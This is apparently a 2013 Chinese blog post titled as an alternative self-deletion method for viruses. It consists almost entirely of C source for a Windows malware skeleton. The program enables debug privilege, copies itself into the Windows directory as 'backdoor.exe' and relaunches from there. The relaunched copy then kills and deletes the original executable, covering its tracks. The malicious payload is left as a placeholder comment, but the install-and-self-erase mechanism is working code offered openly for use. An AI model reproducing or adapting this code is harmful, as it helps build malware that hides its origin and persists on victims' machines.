另类病毒的自删除方法

// 调整权限

VOID DebugPrivilege()

{

    HANDLE hToken = NULL;

   

    BOOL bRet =OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);

   

    if ( bRet == TRUE )

    {

        TOKEN_PRIVILEGES tp;

        tp.PrivilegeCount = 1;

       LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

        tp.Privileges[0].Attributes= SE_PRIVILEGE_ENABLED;

       AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

       

        CloseHandle(hToken);

    }

}

 

// 获得某进程的PID

DWORD GetProcessId(char *szProcessName)

{

    DWORD dwPid = 0;

    BOOL bRet = 0;

    PROCESSENTRY32 pe32 = { 0};

    pe32.dwSize =sizeof(PROCESSENTRY32);

 

    HANDLE hSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    bRet = Process32First(hSnap,&pe32);

 

    while ( bRet )

    {

        if (strcmp(pe32.szExeFile, szProcessName) == 0 )

        {

            break;

        }

        bRet =Process32Next(hSnap, &pe32);

    }

 

    dwPid =pe32.th32ProcessID;

    return dwPid;

}

 

// 结束某进程

VOID CloseProcess(DWORD dwPid)

{

    HANDLE hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);

    TerminateProcess(hProcess,0);

    CloseHandle(hProcess);

}

 

这几个函数完成后,我们就来根据病毒的流程来完成病毒的主体代码,代码如下:

int main(int argc, char **argv)

{

    // Windows目录

    char szWinDir[MAX_PATH] ={ 0 };

    // 当前目录

    char szCurrDir[MAX_PATH] ={ 0 };

 

   GetWindowsDirectory(szWinDir, MAX_PATH);

    GetModuleFileName(NULL,szCurrDir, MAX_PATH);

 

    // 获取当前的目录

    int ch = '\\';

    char *pFileName =strrchr(szCurrDir, ch);

    int nLen =strlen(szCurrDir) - strlen(pFileName);

    szCurrDir[nLen] = NULL;

 

    if ( strcmp(szWinDir,szCurrDir) == 0 )

    {

        // 相同目录

        // 判断参数个数

        // 根据参数个数判断是否需要删除原病毒文件

        // 如果病毒是开机自动启动的话,不会带有参数

        printf("argc = %d\r\n", argc);

        if ( argc == 2 )

        {

            ch = '\\';

            pFileName =strrchr(argv[1], ch);

            pFileName ++;

           printf("pFileName = %s \r\n", pFileName);

            DWORD dwPid =GetProcessId(pFileName);

            printf("dwPid= %d \r\n", dwPid);

            DebugPrivilege();

           CloseProcess(dwPid);

            pFileName =argv[1];

           printf("pFileName = %s \r\n", pFileName);

            Sleep(3000);

           DeleteFile(pFileName);

        }

        else

        {

            // 病毒的功能代码

        }

    }

    else

    {

        // 不同目录,说明是第一次运行

 

        // 复制自身到windows目录里下

        strcat(szWinDir,"\\backdoor.exe");

       GetModuleFileName(NULL, szCurrDir, MAX_PATH);

        CopyFile(szCurrDir,szWinDir, FALSE);

 

        // 构造要运行windows目录下的病毒

        // 以及要传递的自身位置

        strcat(szWinDir," \"");

        strcat(szWinDir,szCurrDir);

        strcat(szWinDir,"\"");

        printf("%s\r\n", szWinDir);

        WinExec(szWinDir, SW_SHOW);

        Sleep(1000);

    }

 

    // getch()模拟病毒的动作

    // 保持病毒进程不退出

    getch();

    return 0;

}

posted @ 2013-07-15 22:30  jlins  阅读(248)  评论(0编辑  收藏  举报